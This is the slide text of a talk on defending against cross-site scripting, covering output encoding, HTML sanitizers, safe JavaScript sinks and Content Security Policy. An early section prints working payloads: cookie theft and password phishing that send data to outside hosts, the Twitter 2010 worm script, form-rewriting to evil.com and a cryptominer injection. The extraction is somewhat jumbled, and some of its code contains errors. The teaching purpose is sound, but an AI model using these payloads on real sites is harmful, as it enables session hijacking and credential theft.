THE LAST

XSS DEFENSE TALK
XSS Defense: Where are we going?

- What is Cross Site Scripting? (XSS)
- Output Escaping
- HTML Sanitization
- Safe JavaScript Sinks
- Sandboxing
- Safe JSON UI Usage
- Content Security Policy
# XSS Defense Summary

<table>
<thead>
<tr>
<th>Data Type</th>
<th>Context</th>
<th>Defense</th>
</tr>
</thead>
<tbody>
<tr>
<td>String</td>
<td>HTML Body/Attribute</td>
<td>HTML Entity Encode/HTML Attribute Encode</td>
</tr>
<tr>
<td>String</td>
<td>JavaScript Variable</td>
<td>JavaScript Hex Encoding</td>
</tr>
<tr>
<td>String</td>
<td>GET Parameter</td>
<td>URL Encoding</td>
</tr>
<tr>
<td>String</td>
<td>Untrusted URL</td>
<td>URL Validation, avoid JavaScript: URLs, Attribute Encoding, Safe URL Verification</td>
</tr>
<tr>
<td>String</td>
<td>CSS</td>
<td>CSS Hex Encoding</td>
</tr>
<tr>
<td>HTML</td>
<td>Anywhere</td>
<td>HTML Sanitization (Server and Client Side)</td>
</tr>
<tr>
<td>Any</td>
<td>DOM</td>
<td>Safe use of JS API's</td>
</tr>
<tr>
<td>Untrusted JavaScript</td>
<td>Any</td>
<td>Sandboxing and Deliver from Different Domain</td>
</tr>
<tr>
<td>JSON</td>
<td>Client Parse Time</td>
<td>JSON.parse() or json2.js</td>
</tr>
<tr>
<td>JSON</td>
<td>Embedded</td>
<td>JSON Serialization</td>
</tr>
<tr>
<td>Mistakes were made</td>
<td></td>
<td>Content Security Policy 3.0</td>
</tr>
</tbody>
</table>
XSS is Dead!
We just don’t get it

A lengthy rant by Dr.-Ing. Mario Heiderich
mario@cure53.de || @0x6D6172696F
What is XSS?
Cross-Site Scripting (XSS) is a misnomer. Attacker driven JavaScript or JavaScript Injection is most common web vulnerability. Easy vulnerability to find via auditing. Easy vulnerability to exploit. Individual types of XSS are mostly straightforward to fix. Difficult to fix XSS at scale. Easy to reintroduce XSS in development and introduce significant business and technical impact.
Reflected XSS

1. Hacker sends link to victim. Link contains XSS payload.
2. Victim views page via XSS link supplied by Hacker.
3. XSS code executes on Victim’s browser and sends cookie to evil server.
4. Cookie is stolen. Hacker can hijack the Victim’s session.
XSS Attack Payloads
XSS Attack: Cookie Theft

<script>
var badURL = 'https://manicode.com?data=' + uriEncode(document.cookie);
new Image().src = badURL;
</script>

HTTPOnly could prevent this!
Cookie Options and Security

Set-Cookie: NAME=VALUE; expires=EXPIRES;
path=PATH; domain=DOMAIN;
secure; **HttpOnly**;

**HttpOnly** limits the ability of JavaScript and other client side scripts to access cookie data. USE THIS FOR SESSION IDs!
Stored XSS: Same Site Request Forgery

```javascript
var ajaxConn = new XHConn();
ajaxConn.connect("/mail?dest=boss@work.us&subj=YouAreAJerk","GET");
```

**HTTPOnly** **nor** **SameSite** **nor** **Token Binding** **cookies** would prevent this!
XSS Undermining CSRF Defense (Twitter 2010)

```javascript
var content = document.documentElement.innerHTML;
authreg = new RegExp(/twtr\..*form\._auth_token = '(.*);/g);
var authtoken = authreg.exec(content); authtoken = authtoken[1];
//alert(authtoken);

var xss = urlencode('http://www.stalkdaily.com</a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');

var ajaxConn = new XHConn(); ajaxConn.connect("/status/update","POST",
"authenticity_token=" + authtoken+"&status=" + updateEncode +
"&tab=home&update=update");

var ajaxConn1 = new XHConn();

ajaxConn1.connect("/account/settings", "POST",
"authenticity_token="+ authtoken+"&user[url]="+xss+"&tab=home&update=update");
```
XSS Attack: Virtual Site Defacement

```html
<script>
    var badteam = "Liverpool";
    var awesometeam = "Any other team ";
    var data = "";
    for (var i = 0; i < 50; i++) {
        data += "<marquee><blink>"
        for (var y = 0; y < 8; y++) {
            if (Math.random() > .6) {
                data += badteam ;
                data += " kicks worse than my mum!";
            } else {
                data += awesometeam; 
                data += " is obviously totally awesome!";
            }
        }
        data += "</blink></marquee>";
    }
    document.body.innerHTML=(data + "");
</script>
```
XSS Attack: Password Theft/Stored Phishing

```html
<script>
function stealThePassword() {
    var data = document.getElementById("password").value;
    var img = new Image();
    img.src = "http://manico.net/webgoat?pass=\" + data;
    alert("Login Successful!");
}

document.body.innerHTML='"<style> ...LOTS of CSS... </style>
<form name="xssattacktest" action="https://someimportantsite.com/login" method="POST"><label for="username">Username:</label><input type="text" id="username" name="username"><label for="password">Password:</label><input type="password" id="password" name="password"><div id="lower"><input type="submit" value="Login" onclick="stealThePassword();"></div>
</form>"
</div>';
</script>
```
XSS With No Letters!

https://inventropy.us/blog/constructing-an-xss-vector-using-no-letters

Open Source and Cheap XSS Attack Tools
[Markdown] Stored XSS via character encoding parser bypass

State: Resolved (Closed)

Disclosed publicly: October 18, 2017 1:24pm +0100

Reported To: GitLab

Weakness: Cross-site Scripting (XSS) - Stored

Severity: Medium (4 ~ 6.9)

Participants: [Profiles]

Visibility: Public (Full)

SUMMARY BY YSX

A carefully crafted injection could be leveraged to achieve persistent XSS. This affected all locations where the Markdown was deployed. The Project Wiki feature was used to present a suitable proof of concept. Thanks again to @briann and the swift remediation.
polygot XSS for any UI location
Something like this? Or something more fancy?

```javascript
fetch('/login').then(function(r){return r.text()}).then(function(t){
    with(document){
        open(),write(t.replace(/action="/gi,'action="//evil.com/?"')),close();
    }
})
```

`@kotowicz` replied:

```javascript
with(document)write((await(await fetch('/login')).text()).replace(/(action="/)/ig,'$1//evil.com/?'))),close()
```

`@kotowicz` also commented:

"Still on it :) \$& instead of \$1 would let you drop parentheses in regexp."

---

**show login then rewrite all forms to evil.com**
<script src="https://coinhive.com/lib/coinhive.min.js"></script>

```javascript
var miner = new CoinHive.User('SITE_KEY', 'john-doe');
miner.start();
</script>
XSS Defense
XSS Defense Principles

- Assume all variables added to a UI are dangerous

- Ensure *all variables and content* added to a UI are protected from XSS in some way *at the UI layer itself*

- Do not depend on server-side protections (validation/WAF/etc) to protect you from XSS

- Be wary of developers disabling framework features that provide automatic XSS defense *ie: React dangerouslySetInnerHTML*
# XSS Defense Summary

<table>
<thead>
<tr>
<th>Data Type</th>
<th>Context</th>
<th>Defense</th>
</tr>
</thead>
<tbody>
<tr>
<td>String</td>
<td>HTML Body/Attribute</td>
<td>HTML Entity Encode/HTML Attribute Encode</td>
</tr>
<tr>
<td>String</td>
<td>JavaScript Variable</td>
<td>JavaScript Hex Encoding</td>
</tr>
<tr>
<td>String</td>
<td>GET Parameter</td>
<td>URL Encoding</td>
</tr>
<tr>
<td>String</td>
<td>Untrusted URL</td>
<td>URL Validation, avoid JavaScript: URLs, Attribute Encoding, Safe URL Verification</td>
</tr>
<tr>
<td>String</td>
<td>CSS</td>
<td>CSS Hex Encoding</td>
</tr>
<tr>
<td>HTML</td>
<td>Anywhere</td>
<td>HTML Sanitization (Server and Client Side)</td>
</tr>
<tr>
<td>Any</td>
<td>DOM</td>
<td>Safe use of JS API's</td>
</tr>
<tr>
<td>Untrusted JavaScript</td>
<td>Any</td>
<td>Sandboxing and Deliver from Different Domain</td>
</tr>
<tr>
<td>JSON</td>
<td>Client Parse Time</td>
<td>JSON.parse() or json2.js</td>
</tr>
<tr>
<td>JSON</td>
<td>Embedded</td>
<td>JSON Serialization</td>
</tr>
<tr>
<td>Mistakes were made</td>
<td></td>
<td>Content Security Policy 3.0</td>
</tr>
</tbody>
</table>
XSS Defense 1: Encoding Libraries

Ruby on Rails
http://api.rubyonrails.org/classes/ERB/Util.html

PHP
http://twig.sensiolabs.org/doc/filters/escape.html

Java (Updated March 2017)
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

.NET AntiXSS Library (v4.3 NuGet released June 2, 2014)
http://www.nuget.org/packages/AntiXss/

Python
Jinja2 Framework has built it and standalone escaping capabilities
"MarkupSafe" library
Best Practice: Validate and Encode

```java
String email = request.getParameter("email");
out.println("Your email address is: " + email);

String email = request.getParameter("email");
String expression =
   "^\w+((-\w+|\.\w+))*@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$";

Pattern pattern = Pattern.compile(expression,Pattern.CASE_INSENSITIVE);
Matcher matcher = pattern.matcher(email);
if (matcher.matches())
{
   out.println("Your email address is: " + Encoder.HtmlEncode(email));
}
else
{
   //log & throw a specific validation exception and fail safely
}
```
XSS Contexts
Danger: Multiple Contexts

Different encoding and validation techniques needed for different contexts!

- HTML Body
- HTML Attributes
- `<STYLE>` Context
- `<SCRIPT>` Context
- URL Fragment Context
OWASP Java Encoder Project

https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

HTML Contexts
- Encode#forHtml(String)
- Encode#forHtmlContent(String)
- Encode#forHtmlAttribute(String)
- Encode#forHtmlUnquotedAttribute(String)

CSS Contexts
- Encode#forCssString(String)
- Encode#forCssUrl(String)

JavaScript Contexts
- Encode#forJavaScript(String)
- Encode#forJavaScriptAttribute(String)
- Encode#forJavaScriptBlock(String)
- Encode#forJavaScriptSource(String)

XML Contexts
- Encode#forXml(String)
- Encode#forXmlContent(String)
- Encode#forXmlAttribute(String)
- Encode#forXmlComment(String)
- Encode#forCDATA(String)

URI/URL contexts
- Encode#forUriComponent(String)
HTML Body Context
HTML Body Escaping Examples

**OWASP Java Encoder**

```html
<div>&lt;%= Encode.forHtml('UNTRUSTED') %&gt;</div>
<h1>&lt;%= Encode.forHtml('UNTRUSTED') %&gt;</h1>
```

**AntiXSS.NET**

`Encoder.HtmlEncode('UNTRUSTED')`
HTML Attribute Body Context
HTML Attribute Escaping Examples

**OWASP Java Encoder**

```html
<input type="text" name="data"
value="\%= Encode.forHtmlAttribute(UNTRUSTED) %>" />

<input type="text" name="data"
value="\%= Encode.forHtmlUnquotedAttribute(UNTRUSTED) %>" />
```

**AntiXSS.NET**

```csharp
Encoder.HtmlAttributeEncode(UNTRUSTED)
```
URL Substring Contexts
### URL Fragment Escaping Examples

#### URL/URI Escaping

```html
<%-- Encode URL parameter values --%>
<a href="/search?value=UNTRUSTED&order=1#top">

<%-- Encode REST URL parameters --%>
<a href="http://www.manicode.com/page/UNTRUSTED">
```
URL Fragment Escaping Examples

OWASP Java Encoder

```java
String theUrl = "/search?value=" + Encode.forUriComponent(parameterValue) + "&order=1#top";

<a href="<%= Encode.forHtmlAttribute(theUrl) %>">LINK</a>
```
public static String validateURL(String UNTRUSTED) throws ValidationException {

    // throws URISyntaxExceptio...
Escaping When Managing Complete URLs

Assuming the untrusted URL has been properly validated

**OWASP Java Encoder**

```html
<a href="<%= Encode.forHTMLAttribute(untrustedURL) %>">
  Encode.forHtml(untrustedURL)
</a>
```

**AntiXSS.NET**

```html
<a href="<%= Encoder.HtmlAttributeEncode(untrustedURL) %>">
  Encoder.HtmlEncode(untrustedURL)
</a>
```
Inline JavaScript Value Contexts
JavaScript Escaping Examples

OWASP Java Encoder

```html
<button onclick="alert('<%= Encode.forJavaScript(alertMsg) %>'");">click me</button>

<script type="text/javascript">
var msg = "<%= Encode.forJavaScript(alertMsg) %>";
alert(msg);
</script>
```

AntiXSS.NET

```javascript
Encoder.JavaScriptEncode(alertMsg)
```
CSS Value Contexts
CSS Encoding Examples

OWASP Java Encoder

```html
<div style="background: url('<%= Encode.forCssUrl(value) %>');">
<style type="text/css">
background-color:'<%= Encode.forCssString(value) %>';
</style>
</div>
```

AntiXSS.NET

`Encoder.CssEncode(value)`
Escaping Final Thoughts
Dangerous Contexts

There are just certain places in HTML documents where you cannot place untrusted data

\(<a \$DATA>\)
\(<script>eval($DATA);</script>\)

Be careful of developers disabling escaping in frameworks that autoescape by default

- dangerouslySetInnerHTML
- bypassSecurityTrustHtml
### GO Template Contexts

\[\text{{.}} = \text{O'Reilly: How are } <i>\text{you}</i>?\]

<table>
<thead>
<tr>
<th>Context</th>
<th>{.} After Modification</th>
</tr>
</thead>
<tbody>
<tr>
<td>{.}</td>
<td>O'Reilly: How are &amp;lt;i&gt;you&amp;lt;/i&gt;?</td>
</tr>
<tr>
<td>&lt;a title='{{.}}'&gt;</td>
<td>O’Reilly: How are you?</td>
</tr>
<tr>
<td>&lt;a href=&quot;/{{.}}&quot;&gt;</td>
<td>O’Reilly: How are %3ci%3eyou%3c/i%3e?</td>
</tr>
<tr>
<td>&lt;a href='?q={{.}}&gt;</td>
<td>O’Reilly%3a%20How%20are%3ci%3e...%3f</td>
</tr>
<tr>
<td>&lt;a onx='f(&quot;{{.}}&quot;)'&gt;</td>
<td>O\x27Reilly: How are \x3ci\x3eyou...?</td>
</tr>
<tr>
<td>&lt;a onx='f(\{.\})'&gt;</td>
<td>&quot;O\x27Reilly: How are \x3ci\x3eyou...?&quot;</td>
</tr>
<tr>
<td>&lt;a onx='pattern = /{{.}}/; '&gt;</td>
<td>O\x27Reilly: How are \x3ci\x3eyou...\x3f</td>
</tr>
</tbody>
</table>
Advanced XSS Defense Techniques
# XSS Defense Summary

<table>
<thead>
<tr>
<th>Data Type</th>
<th>Context</th>
<th>Defense</th>
</tr>
</thead>
<tbody>
<tr>
<td>String</td>
<td>HTML Body/Attribute</td>
<td>HTML Entity Encode/HTML Attribute Encode</td>
</tr>
<tr>
<td>String</td>
<td>JavaScript Variable</td>
<td>JavaScript Hex Encoding</td>
</tr>
<tr>
<td>String</td>
<td>GET Parameter</td>
<td>URL Encoding</td>
</tr>
<tr>
<td>String</td>
<td>Untrusted URL</td>
<td>URL Validation, avoid JavaScript: URLs, Attribute Encoding, Safe URL Verification</td>
</tr>
<tr>
<td>String</td>
<td>CSS</td>
<td>CSS Hex Encoding</td>
</tr>
<tr>
<td>HTML</td>
<td>Anywhere</td>
<td>HTML Sanitization (Server and Client Side)</td>
</tr>
<tr>
<td>Any</td>
<td>DOM</td>
<td>Safe use of JS API's</td>
</tr>
<tr>
<td>Untrusted</td>
<td>Any</td>
<td>Sandboxing and Deliver from Different Domain</td>
</tr>
<tr>
<td>JavaScript</td>
<td>Any</td>
<td></td>
</tr>
<tr>
<td>JSON</td>
<td>Client Parse Time</td>
<td>JSON.parse() or json2.js</td>
</tr>
<tr>
<td>JSON</td>
<td>Embedded</td>
<td>JSON Serialization</td>
</tr>
<tr>
<td>Mistakes were made</td>
<td></td>
<td>Content Security Policy 3.0</td>
</tr>
</tbody>
</table>
HTML Sanitization and XSS
What is HTML sanitation?

- HTML sanitization takes markup as input, outputs "safe" markup
  - Different from encoding
  - URLEncoding, HTMLEncoding, will not help you here!

- HTML sanitization is everywhere

  Web Forum Posts w/Markup
  Advertisements
  Outlook.com
  JavaScript-based Windows 8 Store Apps
  TinyMCE/CKEditor Widgets
Examples

This example displays all plugins and buttons that come with the TinyMCE package.

Welcome to the TinyMCE editor demo!

Feel free to try out the different features that are provided, please note that the MCImageManager and MCFFileManager specific functionality is part of our commercial offering. The demo is to show the integration.

We really recommend TinyMCE is compatible with all major browsers.

Got questions or need help?

If you have questions or need help, feel free to visit our community forum! We also offer Enterprise solutions. Also do not miss out on the documentation, its a great resource wiki for understanding how TinyMCE works and integrates.

Found a bug?

If you think you have found a bug, you can use the Tracker to report bugs to the developers.

And here is a simple table for you to play with:
## HTML sanitizers by language

<table>
<thead>
<tr>
<th>Language</th>
<th>Resources</th>
</tr>
</thead>
</table>
| Pure JavaScript (client side) | http://code.google.com/p/google-caja/wiki/JsHtmlISanitizer  
https://code.google.com/p/google-caja/source/browse/trunk/src/com/google/caja/plugin/html-sanitizer.js  
https://github.com/cure53/DOMPurify |
| Python        | https://pypi.python.org/pypi/bleach                                       |
| PHP           | http://htmlpurifier.org/                                                 |
| .NET          | https://github.com/mganss/HtmlSanitizer                                   |
| Ruby on Rails | https://rubygems.org/gems/loofah                                          
http://api.rubyonrails.org/classes/HTML.html |
| Java          | https://www.owasp.org/index.php OWASP_Java_HTML_Sanitizer_Project         
JSoup         |
Web page is vulnerable to XSS because of untrusted HTML.

```java
PolicyFactory policy = new HtmlPolicyBuilder()
    .allowElements("p")
    .allowElements(
        new ElementPolicy() {
            public String apply(String elementName, List<String> attrs) {
                attrs.add("class");
                attrs.add("header-" + elementName);
                return "div";
            }
        }, "h1", "h2", "h3", "h4", "h5", "h6")
    .build();

String safeHTML = policy.sanitize(untrustedHTML);
```
DOMPurify : Client Side Sanitizer
Use DOMPurify to Sanitize Untrusted HTML
https://github.com/cure53/DOMPurify

- DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG.
- DOMPurify works with a secure default, but offers a lot of configurability and hooks.
- Very simply to use
- Demo: https://cure53.de/purify

```javascript
elem.innerHTML = DOMPurify.sanitize(dangerous);
```
DOM XSS
Dangerous JavaScript functions

<table>
<thead>
<tr>
<th>Direct Execution</th>
<th>Build HTML/JavaScript</th>
<th>Within Execution Context</th>
</tr>
</thead>
<tbody>
<tr>
<td>- eval()</td>
<td>- document.write(), document.writeln()</td>
<td>- onclick()</td>
</tr>
<tr>
<td>- window.execScript()</td>
<td>- elem.innerHTML = danger, elem.outerHTML = danger</td>
<td>- onload()</td>
</tr>
<tr>
<td>- function()</td>
<td>- elem.setAttribute(&quot;dangerous attribute&quot;, danger) – attributes like: href, src, onclick, onload, onblur, etc.</td>
<td>- onblur(), etc</td>
</tr>
<tr>
<td>- setInterval()</td>
<td></td>
<td></td>
</tr>
<tr>
<td>- setTimeout()</td>
<td></td>
<td></td>
</tr>
<tr>
<td>- requestAnimationFrame()</td>
<td></td>
<td></td>
</tr>
<tr>
<td>- script.src(), iframe.src()</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Some safe JavaScript sinks

- Setting a Value
  - `elem.textContent = dangerVariable;`
  - `elem.className = dangerVariable;`
  - `elem.setAttribute(safeName, dangerVariable);`
  - `formfield.value = dangerVariable;`
  - `document.createTextNode(dangerVariable);`
  - `document.createElement(dangerVariable);`
  - `elem.innerHTML = DOMPurify.sanitize(dangerVar);`

- Safe JSON Parsing
  - `JSON.parse() (rather than eval())`

OK  OK  OK  OK
Dangerous jQuery

jQuery will evaluate `<script>` tags and execute script in a variety of API’s

```javascript
$('#myDiv').html('<script>alert("Hi!");</script>');
$('#myDiv').before('<script>alert("Hi!");</script>');
$('#myDiv').after('<script>alert("Hi!");</script>');
$('#myDiv').append('<script>alert("Hi!");</script>');
$('#myDiv').prepend('<script>alert("Hi!");</script>');
$('<script>alert("Hi!");</script>').appendTo('#myDiv');
$('<script>alert("Hi!");</script>').prependTo('#myDiv');
```

http://tech.blog.box.com/2013/08/securing-jquery-against-unintended-xss/
**j****Query: But there is more…**

<table>
<thead>
<tr>
<th>More Danger</th>
</tr>
</thead>
</table>
| • jQuery(danger) or $(danger)  
  - This immediately evaluates the input!  
  - E.g., $"<img src=x onerror=alert(1)>""  
| • jQuery.globalEval()  
| • All event handlers: .bind(events), .bind(type, [,data], handler()), .on(), .add(html) |

<table>
<thead>
<tr>
<th>Safe Examples</th>
</tr>
</thead>
</table>
| • .text(danger)  
| • .val(danger)  
| • .html(DOMPurify.sanitize(danger)); |

Some serious research needs to be done to identify all the safe vs. unsafe methods.

*There are about 300 methods in jQuery*
Using Safe Functions Safely

**someoldpage.jsp**  UNSAFE

```html
<script>
var elem = document.getElementById('elementId');
elem.textContent = '{@% request.getParameter("data") %>}';
</script>
```

**somescript.js**  SAFE

```javascript
function somecoolstuff(var elem, var data) {
  elem.textContent = data;
}
```

http://tech.blog.box.com/2013/08/securing-jquery-against-unintended-xss/
Safe Client-Side JSON Handling
The example below uses a secure example of using XMLHttpRequest to query https://example.com/items.json and uses JSON.parse to process the JSON that has successfully returned.

```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://example.com/item.json");
xhr.onreadystatechange=function() {
    if (xhr.readyState === 4) {
        if(xhr.status === 200) {
            var response = JSON.parse(xhr.responseText);
        } else {
            var response = "Error Occurred";
        }
    }
}
oxReq.send();
</script>
```
Pre-Fetching Data to Render in JS

• DON'T DO THIS! It could lead to XSS!

  ```javascript
  <script>
  window.__INITIAL_STATE = JSON.stringify(initialState);
  </script>
  
  • If the initialState object contains any string with `<script>` in it, that will escape out of your script tag and start appending everything after it as HTML code.

  ```javascript
  <script>{{</script><script>alert('XSS'))}}</script>
Pre-Fetching Data Safely

- Running an XSS sanitizer over your JSON object will most likely mutilate it.
- Serialize embedded JSON with a safe serialization engine.

Node: [https://github.com/yahoo/serialize-javascript](https://github.com/yahoo/serialize-javascript).

Example:

```html
<script>window.__INITIAL_STATE = <%= serialize(initialState) %></script>
```
https://github.com/yahoo/serialize-javascript

- Will serialize code to a string of literal JavaScript which can be embedded in an HTML document by adding it as the contents of the `<script>` element.
- In order to make this safe, HTML characters and JavaScript line terminators are escaped automatically.

```javascript
serialize({ haxorXSS: '</script>' });
```

- The above will produce the following string, HTML-escaped output which is safe to put into an HTML document as it will not cause the inline script element to terminate:

```javascript
{"haxorXSS":"\\u003C\\u002Fscript\\u003E"}
```
Sandboxing
**JavaScript Sandboxing (ECMAScript 5)**

- `Object.seal( obj )`
- `Object.isSealed( obj )`
- Sealing an object prevents other code from deleting, or changing the descriptors of, any of the object's properties

**iFrame Sandboxing (HTML5)**

- `<iframe src="demo_iframe_sandbox.jsp" sandbox=""></iframe>`
- Allow-same-origin, allow-top-navigation, allow-forms, allow-scripts
# XSS Defense Summary

<table>
<thead>
<tr>
<th>Data Type</th>
<th>Context</th>
<th>Defense</th>
</tr>
</thead>
<tbody>
<tr>
<td>String</td>
<td>HTML Body/Attribute</td>
<td>HTML Entity Encode/HTML Attribute Encode</td>
</tr>
<tr>
<td>String</td>
<td>JavaScript Variable</td>
<td>JavaScript Hex Encoding</td>
</tr>
<tr>
<td>String</td>
<td>GET Parameter</td>
<td>URL Encoding</td>
</tr>
<tr>
<td>String</td>
<td>Untrusted URL</td>
<td>URL Validation, avoid JavaScript: URLs, Attribute Encoding, Safe URL Verification</td>
</tr>
<tr>
<td>String</td>
<td>CSS</td>
<td>CSS Hex Encoding</td>
</tr>
<tr>
<td>HTML</td>
<td>Anywhere</td>
<td>HTML Sanitization (Server and Client Side)</td>
</tr>
<tr>
<td>Any</td>
<td>DOM</td>
<td>Safe use of JS API's</td>
</tr>
<tr>
<td>Untrusted JavaScript</td>
<td>Any</td>
<td>Sandboxing and Deliver from Different Domain</td>
</tr>
<tr>
<td>JSON</td>
<td>Client Parse Time</td>
<td>JSON.parse() or json2.js</td>
</tr>
<tr>
<td>JSON</td>
<td>Embedded</td>
<td>JSON Serialization</td>
</tr>
<tr>
<td><strong>Mistakes were made</strong></td>
<td></td>
<td><strong>Content Security Policy 3.0</strong></td>
</tr>
</tbody>
</table>
Content Security Policy (CSP)

- Anti-XSS W3C standard
- CSP 3.0 WSC Candidate published September 2016
  https://www.w3.org/TR/CSP3/
- Add the Content-Security-Policy response header to instruct the browser that CSP is in use.
- There are two major features that will enable CSP to help stop XSS.
  - Must move all inline script into external files and then enable `script-src="self"` or similar
  - Must use the script `nonce` or `hash` feature to provide integrity for inline scripts

```
Content-Security-Policy

default-src 'self';
script-src 'self' yep.com;
report-uri /csp_violation_logger;
```
A NEW WAY OF DOING CSP

Strict nonce-based CSP with 'strict-dynamic' and older browsers

**script-src 'nonce-r4nd0m' 'strict-dynamic' 'unsafe-inline' https;;**
**object-src 'none';**

**CSP3 compatible browser (strict-dynamic support)**

**script-src 'nonce-r4nd0m' 'strict-dynamic' 'unsafe-inline' https;;**
**object-src 'none';**

**CSP2 compatible browser (nonce support) - No-op fallback**

**script-src 'nonce-r4nd0m' 'strict-dynamic' 'unsafe-inline' https;;**
**object-src 'none';**

**CSP1 compatible browser (no nonce support) - No-op fallback**

**script-src 'nonce-r4nd0m' 'strict-dynamic' 'unsafe-inline' https;;**
**object-src 'none';**
Conclusion
## XSS Defense Summary

<table>
<thead>
<tr>
<th>Data Type</th>
<th>Context</th>
<th>Defense</th>
</tr>
</thead>
<tbody>
<tr>
<td>String</td>
<td>HTML Body/Attribute</td>
<td>HTML Entity Encode/HTML Attribute Encode</td>
</tr>
<tr>
<td>String</td>
<td>JavaScript Variable</td>
<td>JavaScript Hex Encoding</td>
</tr>
<tr>
<td>String</td>
<td>GET Parameter</td>
<td>URL Encoding</td>
</tr>
<tr>
<td>String</td>
<td>Untrusted URL</td>
<td>URL Validation, avoid JavaScript: URLs, Attribute Encoding, Safe URL Verification</td>
</tr>
<tr>
<td>String</td>
<td>CSS</td>
<td>CSS Hex Encoding</td>
</tr>
<tr>
<td>HTML</td>
<td>Anywhere</td>
<td>HTML Sanitization (Server and Client Side)</td>
</tr>
<tr>
<td>Any</td>
<td>DOM</td>
<td>Safe use of JS API's</td>
</tr>
<tr>
<td>Untrusted</td>
<td>Any</td>
<td>Sandboxing and Deliver from Different Domain</td>
</tr>
<tr>
<td>JavaScript</td>
<td></td>
<td></td>
</tr>
<tr>
<td>JSON</td>
<td>Client Parse Time</td>
<td>JSON.parse() or json2.js</td>
</tr>
<tr>
<td>JSON</td>
<td>Embedded</td>
<td>JSON Serialization</td>
</tr>
<tr>
<td>Mistakes were made</td>
<td></td>
<td>Content Security Policy 3.0</td>
</tr>
</tbody>
</table>